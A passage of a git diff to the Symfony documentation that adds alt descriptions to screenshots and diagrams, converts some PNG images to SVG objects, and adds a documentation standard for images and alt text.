index e6d3ea3c78e..b070fd31dd6 100644
--- a/components/console/helpers/cursor.rst
+++ b/components/console/helpers/cursor.rst
@@ -11,7 +11,7 @@ cursor position in a console command. This allows you to write on any position
 of the output:
 
 .. image:: /_images/components/console/cursor.gif
-   :align: center
+    :alt: A command outputs on various positions on the screen, eventually drawing the letters "SF".
 
 .. code-block:: php
 
diff --git a/components/console/helpers/debug_formatter.rst b/components/console/helpers/debug_formatter.rst
index a5567fe63ed..711d0bd5356 100644
--- a/components/console/helpers/debug_formatter.rst
+++ b/components/console/helpers/debug_formatter.rst
@@ -8,7 +8,7 @@ the results of running ``figlet symfony``, it might output something like
 this:
 
 .. image:: /_images/components/console/debug_formatter.png
-   :align: center
+    :alt: Console output, with the first line showing "RUN Running figlet", followed by lines showing the output of the command prefixed with "OUT" and "RES Finished the command" as last line in the output.
 
 Using the debug_formatter
 -------------------------
diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index e3f1c8a09d2..f4c2ed93756 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -19,14 +19,17 @@ a very verbose verbosity (e.g. ``-vv``)::
 will result in this output:
 
 .. image:: /_images/components/console/process-helper-verbose.png
+    :alt: Console output showing two lines: "RUN 'figlet' 'Symfony'" and "RES Command ran successfully".
 
 It will result in more detailed output with debug verbosity (e.g. ``-vvv``):
 
 .. image:: /_images/components/console/process-helper-debug.png
+    :alt: In between the command line and the result line, the command's output is now shown prefixed by "OUT".
 
 In case the process fails, debugging is easier:
 
 .. image:: /_images/components/console/process-helper-error-debug.png
+    :alt: The last line shows "RES 127 Command dit not run successfully", and the output lines show more the error information from the command.
 
 Arguments
 ---------
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index dd4e5ec7f78..fa1052d5c1f 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -5,6 +5,7 @@ When executing longer-running commands, it may be helpful to show progress
 information, which updates as your command runs:
 
 .. image:: /_images/components/console/progressbar.gif
+    :alt: Console output showing a progress bar advance to 100%, with the esimated time left, the memory usage and a special message that changes when the bar closes completion.
 
 .. note::
 
diff --git a/components/form.rst b/components/form.rst
index 78a8b652773..f8af0c71090 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -511,7 +511,7 @@ done by passing a special form "view" object to your template (notice the
     {{ form_end(form) }}
 
 .. image:: /_images/form/simple-form.png
-    :align: center
+    :alt: An HTML form showing a text box labelled "Task", three select boxes for a year, month and day labelled "Due date" and a button labelled "Create Task".
 
 That's it! By printing ``form_widget(form)``, each field in the form is
 rendered, along with a label and error message (if there is one). While this is
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 604ca684264..9c8d01da8af 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -72,7 +72,9 @@ and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"></object>
+    <object data="../_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing all HTTP Kernel events in the Request-Response lifecycle. Each event is numbered 1 to 8 and described in detail in the following subsections."
+    ></object>
 
 The exact details of this workflow are the key to understanding how the kernel
 (and the Symfony Framework or any other library that uses the kernel) works.
@@ -504,7 +506,9 @@ to the exception.
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"></object>
+    <object data="../_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"
+        alt="The HTTP KErnel flow diagram showing how exceptions bypass all further steps and are directly transformed to responses."
+    ></object>
 
 Each listener to this event is passed a :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
 object, which you can use to access the original exception via the
@@ -663,7 +667,9 @@ your controller).
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"></object>
+    <object data="../_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"
+        alt="The HTTP Kernel flow diagram with a sub request from a controller starting the lifecycle at step 1 again and feeding the sub Response content back into the controller."
+    ></object>
 
 To execute a sub request, use ``HttpKernel::handle()``, but change the second
 argument as follows::
diff --git a/components/messenger.rst b/components/messenger.rst
index 25f0bcf1aa5..f2b71f38a3d 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -27,7 +27,9 @@ Concepts
 
 .. raw:: html
 
-    <object data="../_images/components/messenger/overview.svg" type="image/svg+xml"></object>
+    <object data="../_images/components/messenger/overview.svg" type="image/svg+xml"
+        alt="A flow diagram visualizing how each concept relates to eachother. Each concept is described in the subsequent text."
+    ></object>
 
 **Sender**:
    Responsible for serializing and sending messages to *something*. This
diff --git a/components/serializer.rst b/components/serializer.rst
index 481a48efea6..70101d5ab8b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -8,15 +8,20 @@ In order to do so, the Serializer component follows the following schema.
 
 .. raw:: html
 
-    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"></object>
-
-As you can see in the picture above, an array is used as an intermediary between
-objects and serialized contents. This way, encoders will only deal with turning
-specific **formats** into **arrays** and vice versa. The same way, Normalizers
-will deal with turning specific **objects** into **arrays** and vice versa.
-
-Serialization is a complex topic. This component may not cover all your use cases out of the box,
-but it can be useful for developing tools to serialize and deserialize your objects.
+    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
+    ></object>
+
+When (de)serializing objects, the Serializer uses an array as the intermediary
+between objects and serialized contents. Encoders will only deal with
+turning specific **formats** into **arrays** and vice versa. The same way,
+normalizers will deal with turning specific **objects** into **arrays** and
+vice versa. The Serializer deals with calling the normalizers and encoders
+when serializing objects or deserializing formats.
+
+Serialization is a complex topic. This component may not cover all your use
+cases out of the box, but it can be useful for developing tools to
+serialize and deserialize your objects.
 
 Installation
 ------------
diff --git a/components/string.rst b/components/string.rst
index 2990cd36e48..48b9a592aac 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -48,7 +48,7 @@ The following image displays the bytes, code points and grapheme clusters for
 the same word written in English (``hello``) and Hindi (``नमस्ते``):
 
 .. image:: /_images/components/string/bytes-points-graphemes.png
-   :align: center
+    :alt: Each letter in "hello" is made up of one byte, one code point and one grapheme cluster. In the Hindi translation, the first two letters ("नम") take up three bytes, one code point and one grapheme cluster. The last letters ("स्ते") each take up six bytes, two code points and one grapheme cluster.
 
 Usage
 -----
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index e8a4d18d0c7..2e6a337131b 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -354,6 +354,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/01-simple.png
+    :alt: Dump output showing the array with length five and all keys and values.
 
 .. note::
 
@@ -371,6 +372,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/02-multi-line-str.png
+    :alt: Dump output showing the string on multiple lines in between three quotes.
 
 .. code-block:: php
 
@@ -385,6 +387,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/03-object.png
+    :alt: Dump output showing the PropertyExample object and all three properties with their values.
 
 .. note::
 
@@ -403,6 +406,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/04-dynamic-property.png
+    :alt: Dump output showing the DynamicPropertyExample object and both declared and undeclared properties with their values.
 
 .. code-block:: php
 
@@ -415,6 +419,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/05-soft-ref.png
+    :alt: Dump output showing the "aCircularReference" property value referencing the parent object, instead of showing all properties again.
 
 .. code-block:: php
 
@@ -428,6 +433,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/06-constants.png
+    :alt: Dump output with the "E_WARNING" constant shown as value of "severity".
 
 .. code-block:: php
 
@@ -441,6 +447,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/07-hard-ref.png
+    :alt: Dump output showing the referenced arrays.
 
 .. code-block:: php
 
@@ -451,6 +458,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/08-virtual-property.png
+    :alt: Dump output of the ArrayObject.
 
 .. code-block:: php
 
@@ -464,6 +472,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/09-cut.png
+    :alt: Dump output where the children of the Container object are hidden.
 
 .. _var-dumper-advanced:
 
diff --git a/components/workflow.rst b/components/workflow.rst
index 77a648a2e0f..3821a2e9fa8 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -22,6 +22,7 @@ process is called a *place*. You do also define *transitions* that describe
 the action to get from one place to another.
 
 .. image:: /_images/components/workflow/states_transitions.png
+    :alt: An example state diagram for a workflow, showing transitions and places.
 
 A set of places and transitions creates a **definition**. A workflow needs
 a ``Definition`` and a way to write the states to the objects (i.e. an
diff --git a/console.rst b/console.rst
index cbe1c3816f1..045091d7c50 100644
--- a/console.rst
+++ b/console.rst
@@ -77,6 +77,7 @@ commands support name and option completion, and some can even complete
 values.
 
 .. image:: /_images/components/console/completion.gif
+    :alt: The terminal completes the command name "secrets:remove" and the argument "SOME_OTHER_SECRET".
 
 First, make sure you installed and setup the "bash completion" package for
 your OS (typically named ``bash-completion``). Then, install the Symfony
diff --git a/contributing/code/stack_trace.rst b/contributing/code/stack_trace.rst
index cd672e05a2a..6fd6987d4e3 100644
--- a/contributing/code/stack_trace.rst
+++ b/contributing/code/stack_trace.rst
@@ -91,8 +91,8 @@ Several things need to be paid attention to when picking a stack trace
 from your development environment through a web browser:
 
 1. Are there several exceptions? If yes, the most interesting one is
-   often exception 1/n which, is shown *last* in the example below (it
-   is the one marked as an exception [1/2]).
+   often exception 1/n which, is shown *last* in the default exception page
+   (it is the one marked as ``exception [1/2]`` in the below example).
 2. Under the "Stack Traces" tab, you will find exceptions in plain
    text, so that you can easily share them in e.g. bug reports. Make
    sure to **remove any sensitive information** before doing so.
@@ -102,8 +102,8 @@ from your development environment through a web browser:
    are getting, but are not what the term "stack trace" refers to.
 
 .. image:: /_images/contributing/code/stack-trace.gif
-   :align: center
-   :class: with-browser
+    :alt: The default Symfony exception page with the "Exceptions", "Logs" and "Stack Traces" tabs.
+    :class: with-browser
 
 Since stack traces may contain sensitive data, they should not be
 exposed in production. Getting a stack trace from your production
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 2ea1054eb7b..90e2a109419 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -25,8 +25,8 @@ while you're reading the Symfony documentation.
 and you'll be redirected to GitHub:
 
 .. image:: /_images/contributing/docs-github-edit-page.png
-   :align: center
-   :class: with-browser
+    :alt: The "Edit this page" button is located directly below the first heading.
+    :class: with-browser
 
 **Step 2.** Edit the contents, describe your changes and click on the
 **Propose file change** button.
@@ -36,8 +36,8 @@ and you'll be redirected to GitHub:
 also display a preview of your changes:
 
 .. image:: /_images/contributing/docs-github-create-pr.png
-   :align: center
-   :class: with-browser
+    :alt: The "Comparing changes" page on GitHub.
+    :class: with-browser
 
 If everything is correct, click on the **Create pull request** button.
 
@@ -152,7 +152,7 @@ exact changes that you want to propose, select the appropriate branches where
 changes should be applied:
 
 .. image:: /_images/contributing/docs-pull-request-change-base.png
-   :align: center
+    :alt: The base branch select option on the GitHub page.
 
 In this example, the **base fork** should be ``symfony/symfony-docs`` and
 the **base** branch should be the ``5.4``, which is the branch that you selected
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 2bdd816af49..05ac4400035 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -146,6 +146,36 @@ Files and Directories
       ├─ vendor/
       └─ ...
 
+Images and Diagrams
+-------------------
+
+* **Diagrams** must adhere to the Symfony docs style. These are created
+  using the Dia_ application, to make sure everyone can edit them. See the
+  `README on GitHub`_ for instructions on how to create them.
+* All images and diagrams must contain **alt descriptions**:
+
+  * Keep the descriptions concise, do not duplicate information surrounding
+    the figure;
+  * Describe complex diagrams in text surrounding the diagram instead of
+    the alt description. In these cases, alt descriptions must describe
+    where the longer description can be found (e.g. "These elements are
+    described further in the next sections");
+  * Start descriptions with a capital letter and end with a period;
+  * Do not start with "A screenshot of", "Diagram of", etc. except when
+    it's useful to know the exact type (e.g. a specific diagram type).
+
+.. code-block:: text
+
+    .. image:: _images/example-screenshot.png
+        :alt: Some concise description of the screenshot.
+
+    .. raw:: html
+
+        <object data="_images/example-diagram.svg" type="image/svg+xml"
+            alt="Some concise description."
+        ></object>
+
+
 English Language Standards
 --------------------------
 
@@ -201,4 +231,6 @@ In addition, documentation follows these rules:
 .. _`American English Oxford Dictionary`: https://www.lexico.com/definition/american_english
 .. _`headings and titles`: https://en.wikipedia.org/wiki/Letter_case#Headings_and_publication_titles
 .. _`Serial (Oxford) Commas`: https://en.wikipedia.org/wiki/Serial_comma
+.. _`Dia`: http://dia-installer.de/
+.. _`README on GitHub`: https://github.com/symfony/symfony-docs/blob/6.4/_images/sources/README.md
 .. _`nosism`: https://en.wikipedia.org/wiki/Nosism
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 56f8e60a408..8424702c19d 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -10,18 +10,16 @@ Symfony catches all the exceptions and displays a special **exception page**
 with lots of debug information to help you discover the root problem:
 
 .. image:: /_images/controller/error_pages/exceptions-in-dev-environment.png
-   :alt: A typical exception page in the development environment
-   :align: center
-   :class: with-browser
+    :alt: A typical exception page in the development environment with the full stacktrace and log information.
+    :class: with-browser
 
 Since these pages contain a lot of sensitive internal information, Symfony won't
 display them in the production environment. Instead, it'll show a minimal and
 generic **error page**:
 
 .. image:: /_images/controller/error_pages/errors-in-prod-environment.png
-   :alt: A typical error page in the production environment
-   :align: center
-   :class: with-browser
+    :alt: A typical error page in the production environment.
+    :class: with-browser
 
 Error pages for the production environment can be customized in different ways
 depending on your needs:
diff --git a/doctrine.rst b/doctrine.rst
index d5cff272241..b7cfdae01b8 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -185,8 +185,11 @@ objects to a ``product`` table in your database. Each property in the ``Product`
 entity can be mapped to a column in that table. This is usually done with attributes:
 the ``#[ORM\Column(...)]`` comments that you see above each property:
 
-.. image:: /_images/doctrine/mapping_single_entity.png
-   :align: center
+.. raw:: html
+
+    <object data="../_images/doctrine/mapping_single_entity.svg" type="image/svg+xml"
+        alt="Doctrine mapping between properties of a Product PHP object and the data in the product database table"
+    ></object>
 
 The ``make:entity`` command is a tool to make life easier. But this is *your* code:
 add/remove fields, add/remove methods or update configuration.
@@ -586,8 +589,8 @@ the :ref:`doctrine-queries` section.
     will display the number of queries and the time it took to execute them:
 
     .. image:: /_images/doctrine/doctrine_web_debug_toolbar.png
-       :align: center
-       :class: with-browser
+        :alt: The web dev toolbar showing the Doctrine item.
+        :class: with-browser
 
     If the number of database queries is too high, the icon will turn yellow to
     indicate that something may not be correct. Click on the icon to open the
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 0aea5cf2d58..1d5e55d5524 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -409,8 +409,11 @@ When you go to ``/product``, a single row is added to both the ``category`` and
 to whatever the ``id`` is of the new category. Doctrine manages the persistence of this
 relationship for you:
 
-.. image:: /_images/doctrine/mapping_relations.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/doctrine/mapping_relations.svg" type="image/svg+xml"
+        alt="Doctrine mapping associated Product and Category entities to a product and category database table"
+    ></object>
 
 If you're new to an ORM, this is the *hardest* concept: you need to stop thinking
 about your database, and instead *only* think about your objects. Instead of setting
@@ -456,8 +459,11 @@ Doctrine silently makes a second query to find the ``Category`` that's related
 to this ``Product``. It prepares the ``$category`` object and returns it to
 you.
 
-.. image:: /_images/doctrine/mapping_relations_proxy.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/doctrine/mapping_relations_proxy.svg" type="image/svg+xml"
+        alt="Doctrine only querying Category data when needed"
+    ></object>
 
 What's important is the fact that you have access to the product's related
 category, but the category data isn't actually retrieved until you ask for
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index cfd8a872a0d..ccb90a04377 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -94,7 +94,9 @@ following set of fields as the "postal address":
 
 .. raw:: html
 
-    <object data="../_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"
+        alt="A wireframe of the custom field type, showing five text inputs: two address lines, the City, the State and the ZIP code."
+    ></object>
 
 As explained above, form types are PHP classes that implement
 :class:`Symfony\\Component\\Form\\FormTypeInterface`, although it's more
@@ -429,12 +431,23 @@ second part of the Twig block name (e.g. ``_row``) defines which form type part
 is being rendered (row, widget, help, errors, etc.)
 
 The article about form themes explains the
-:ref:`form fragment naming rules <form-fragment-naming>` in detail. The
-following diagram shows some of the Twig block names defined in this example:
+:ref:`form fragment naming rules <form-fragment-naming>` in detail. These
+are some examples of Twig block names for the postal address type:
 
 .. raw:: html
 
-    <object data="../_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"
+        alt="The wireframe with some block names highlighted, these are also listed below the image."
+    ></object>
+
+``postal_address_row``
+    The full form type block.
+``postal_address_addressLine1_help``
+    The help message block below the first address line.
+``postal_address_state_widget``
+    The text input widget for the State field.
+``postal_address_zipCode_label``
+    The label block of the ZIP Code field.
 
 .. caution::
 
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 005413ef992..56a08d71132 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -440,8 +440,11 @@ In the above example, the transformer was used as a "model" transformer.
 In fact, there are two different types of transformers and three different
 types of underlying data.
 
-.. image:: /_images/form/data-transformer-types.png
-   :align: center
+.. raw:: html
+
+    <object data="../_images/form/data-transformer-types.svg" type="image/svg+xml"
+        alt="Flow diagram with the Model transformer between Model and Norm data, and the View transformer between Norm and View data. This is described in detail below the diagram."
+    ></object>
 
 In any form, the three different types of data are:
 
@@ -481,7 +484,7 @@ To use the view transformer, call ``addViewTransformer()``.
     data. So your model transformer cannot reduce the number of items within the
     Collection (i.e. filtering out some items), as in that case the collection
     ends up with some empty children.
-    
+
     A possible workaround for that limitation could be not using the underlying
     object directly, but a DTO (Data Transfer Object) instead, that implements
     the transformation of such incompatible data structures.
diff --git a/form/events.rst b/form/events.rst
index 37c3918d67d..40b530b88f2 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -29,16 +29,28 @@ register an event listener to the ``FormEvents::PRE_SUBMIT`` event as follows::
 The Form Workflow
 -----------------
 
+In the lifecycle of a form, there are two moments where the form data can
+be updated:
+
+1. During **pre-population** (``setData()``) when building the form;
+2. When handling **form submission** (``handleRequest()``) to update the
+   form data based on the values the user entered.
+
 .. raw:: html
 
-    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"
+        alt="A generic flow diagram showing the two phases. These are
+        described in the next subsections."
+    ></object>
 
 1) Pre-populating the Form (``FormEvents::PRE_SET_DATA`` and ``FormEvents::POST_SET_DATA``)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 .. raw:: html
 
-    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing the two events that are dispatched during pre-population."
+    ></object>
 
 Two events are dispatched during pre-population of a form, when
 :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
@@ -111,7 +123,9 @@ View data        Normalized data transformed using a view transformer
 
 .. raw:: html
 
-    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing the three events that are dispatched when handling form submissions."
+    ></object>
 
 Three events are dispatched when
 :method:`Form::handleRequest() <Symfony\\Component\\Form\\Form::handleRequest>`
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 26ec9e38c7f..005e0eac461 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -51,10 +51,12 @@ customized using other Twig functions, as illustrated in the following diagram:
 
 .. raw:: html
 
-    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
+        alt="Wireframe showing all functions in a form row, which are mentioned directly below."
+    ></object>
 
 The :ref:`form_label() <reference-forms-twig-label>`,
-:ref:`form_widget() <reference-forms-twig-widget>`,
+:ref:`form_widget() <reference-forms-twig-widget>` (the HTML input),
 :ref:`form_help() <reference-forms-twig-help>` and
 :ref:`form_errors() <reference-forms-twig-errors>` Twig functions give you total
 control over how each form field is rendered, so you can fully customize them:
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 2f3a1a403ea..5f462ce4bbb 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -247,7 +247,9 @@ In both cases, the ``field-part`` can be any of these valid form field parts:
 
 .. raw:: html
 
-    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"></object>
+    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
+        alt="A wireframe showing all form field parts: form_row, form_label, form_widget, form_help and form_errors."
+    ></object>
 
 Fragment Naming for All Fields of the Same Type
 ...............................................
diff --git a/form/tailwindcss.rst b/form/tailwindcss.rst
index 52f4eb857d9..0a92bcd1ebc 100644
--- a/form/tailwindcss.rst
+++ b/form/tailwindcss.rst
@@ -9,7 +9,7 @@ classes so out of the box, your forms will look decent. Customization is almost
 going to be required so this theme makes that easy.
 
 .. image:: /_images/form/tailwindcss-form.png
-   :align: center
+    :alt: An HTML form showing a range of form types styled using TailwindCSS.
 
 To use, first be sure you have installed and integrated `Tailwind CSS`_ and the
 `form plugin`_. Follow their respective documentation to install both packages.
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 5affeaa5f99..7386f629546 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -657,7 +657,9 @@ It's a beautiful thing.
 
 .. raw:: html
 
-    <object data="../_images/http/request-flow.svg" type="image/svg+xml"></object>
+    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
+        alt="A flow diagram visualizing the previously described process from front controller to response."
+    ></object>
 
 Where Symfony Delivers
 ----------------------
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index 802429b5253..fceb6a4a13d 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -17,8 +17,11 @@ HTTP (Hypertext Transfer Protocol) is a text language that allows two machines
 to communicate with each other. For example, when checking for the latest
 `xkcd`_ comic, the following (approximate) conversation takes place:
 
-.. image:: /_images/http/xkcd-full.png
-   :align: center
+.. raw:: html
+
+    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
+        alt="A sequence diagram showing the browser sending &quot;Can I see today's comic?&quot; to the xkcd server. The server prepares the page's HTML and sents it back to the browser."
+    ></object>
 
 HTTP is the term used to describe this text-based language. The goal of
 your server is *always* to understand text requests and return text responses.
@@ -38,8 +41,11 @@ and then waits for the response.
 Take a look at the first part of the interaction (the request) between a
 browser and the xkcd web server:
 
-.. image:: /_images/http/xkcd-request.png
-   :align: center
+.. raw:: html
+
+    <object data="../_images/http/xkcd-request.svg" type="image/svg+xml"
+        alt="A sequence diagram showing the request from browser to the xkcd server."
+    ></object>
 
 In HTTP-speak, this HTTP request would actually look something like this:
 
@@ -100,8 +106,11 @@ client needs (via the URI) and what the client wants to do with that resource
 prepares the resource and returns it in an HTTP response. Consider the response
 from the xkcd web server:
 
-.. image:: /_images/http/xkcd-full.png
-   :align: center
+.. raw:: html
+
+    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
+        alt="The full sequence diagram with the xkcd server sending the page's HTML back to the browser."
+    ></object>
 
 Translated into HTTP, the response sent back to the browser will look something
 like this:
@@ -346,7 +355,9 @@ to do:
 
 .. raw:: html
 
-    <object data="../_images/http/request-flow.svg" type="image/svg+xml"></object>
+    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
+        alt="A flow diagram visualizing the request-response flow. Each step is written out in text in the next section."
+    ></object>
 
 Incoming requests are interpreted by the :doc:`Routing component </routing>` and
 passed to PHP functions that return ``Response`` objects.
diff --git a/mercure.rst b/mercure.rst
index a627cdee92d..b26e2ee9294 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -67,7 +67,11 @@ you must start it with the ``--no-tls`` option.
 Running a Mercure Hub
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. image:: /_images/mercure/schema.png
+.. raw:: html
+
+    <object data="../_images/mercure/hub.svg" type="image/svg+xml"
+        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
+    ></object>
 
 If you use the Docker integration, a hub is already up and running,
 and you can go straight to the next section.
@@ -309,6 +313,7 @@ as patterns:
     the received events:
 
     .. image:: /_images/mercure/chrome.png
+        :alt: The Chrome DevTools showing the EventStream tab containing information about each SSE event.
 
     To use it:
 
@@ -328,7 +333,11 @@ The Mercure protocol comes with a discovery mechanism.
 To leverage it, the Symfony application must expose the URL of the Mercure Hub
 in a ``Link`` HTTP header.
 
-.. image:: /_images/mercure/discovery.png
+.. raw:: html
+
+    <object data="../_images/mercure/discovery.svg" type="image/svg+xml"
+        alt="Flow diagram showing the Link response header set by the Symfony app to respond to an API request for a book with ID 1."
+    ></object>
 
 You can create ``Link`` headers with the ``Discovery`` helper class
 (under the hood, it uses the :doc:`WebLink Component </web_link>`)::
@@ -693,6 +702,8 @@ enable it::
     $ composer require --dev symfony/debug-pack
 
 .. image:: /_images/mercure/panel.png
+    :alt: The Mercure panel of the Symfony Profiler, showing information like time, memory, topics and data of each message sent by Mercure.
+    :class: with-browser
 
 Async dispatching
 -----------------
diff --git a/profiler.rst b/profiler.rst
index ed89cfe7a08..bc564efcbba 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -25,8 +25,8 @@ toolbar injected at the bottom of your pages to open the web interface of the
 Symfony Profiler, which will look like this:
 
 .. image:: /_images/profiler/web-interface.png
-   :align: center
-   :class: with-browser
+    :alt: The Symfony Web profiler page.
+    :class: with-browser
 
 .. note::
 
@@ -199,13 +199,13 @@ event::
     use Symfony\Component\HttpKernel\KernelInterface;
 
     // ...
-    
+
     class MySubscriber implements EventSubscriberInterface
     {
         public function __construct(private KernelInterface $kernel)
         {
         }
-        
+
         // ...
 
         public function onKernelResponse(ResponseEvent $event)
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 7905a6fcbe0..3c3c4e41bf6 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -52,8 +52,8 @@ it as follows:
 Try your new app by going to ``http://localhost:8000`` in a browser!
 
 .. image:: /_images/quick_tour/no_routes_page.png
-   :align: center
-   :class: with-browser
+    :alt: The default Symfony welcome page.
+    :class: with-browser
 
 Fundamentals: Route, Controller, Response
 -----------------------------------------
diff --git a/rate_limiter.rst b/rate_limiter.rst
index cbf960f5f9a..03d0c77e3d2 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -45,7 +45,9 @@ squares).
 
 .. raw:: html
 
-    <object data="_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/fixed_window.svg" type="image/svg+xml"
+        alt="A timeline showing fixed windows that accept a maximum of 5 hits."
+    ></object>
 
 Its main drawback is that resource usage is not evenly distributed in time and
 it can overload the server at the window edges. In this example,
@@ -66,7 +68,9 @@ using a 1 hour window that slides over the timeline:
 
 .. raw:: html
 
-    <object data="_images/rate_limiter/sliding_window.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/sliding_window.svg" type="image/svg+xml"
+        alt="The same timeline with a sliding window that accepts only 5 hits in the previous hour."
+    ></object>
 
 As you can see, this removes the edges of the window and would prevent the
 6th request at 11:45.
@@ -89,18 +93,20 @@ Token Bucket Rate Limiter
 This technique implements the `token bucket algorithm`_, which defines
 continuously updating the budget of resource usage. It roughly works like this:
 
-* A bucket is created with an initial set of tokens;
-* A new token is added to the bucket with a predefined frequency (e.g. every second);
-* Allowing an event consumes one or more tokens;
-* If the bucket still contains tokens, the event is allowed; otherwise, it's denied;
-* If the bucket is at full capacity, new tokens are discarded.
+#. A bucket is created with an initial set of tokens;
+#. A new token is added to the bucket with a predefined frequency (e.g. every second);
+#. Allowing an event consumes one or more tokens;
+#. If the bucket still contains tokens, the event is allowed; otherwise, it's denied;
+#. If the bucket is at full capacity, new tokens are discarded.
 
 The below diagram shows a token bucket of size 4 that is filled with a rate
 of 1 token per 15 minutes:
 
 .. raw:: html
 
-    <object data="_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
+    <object data="_images/rate_limiter/token_bucket.svg" type="image/svg+xml"
+        alt="A timeline showing the token bucket over time, as described in this section."
+    ></object>
 
 This algorithm handles more complex back-off burst management.
 For instance, it can allow a user to try a password 5 times and then only
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
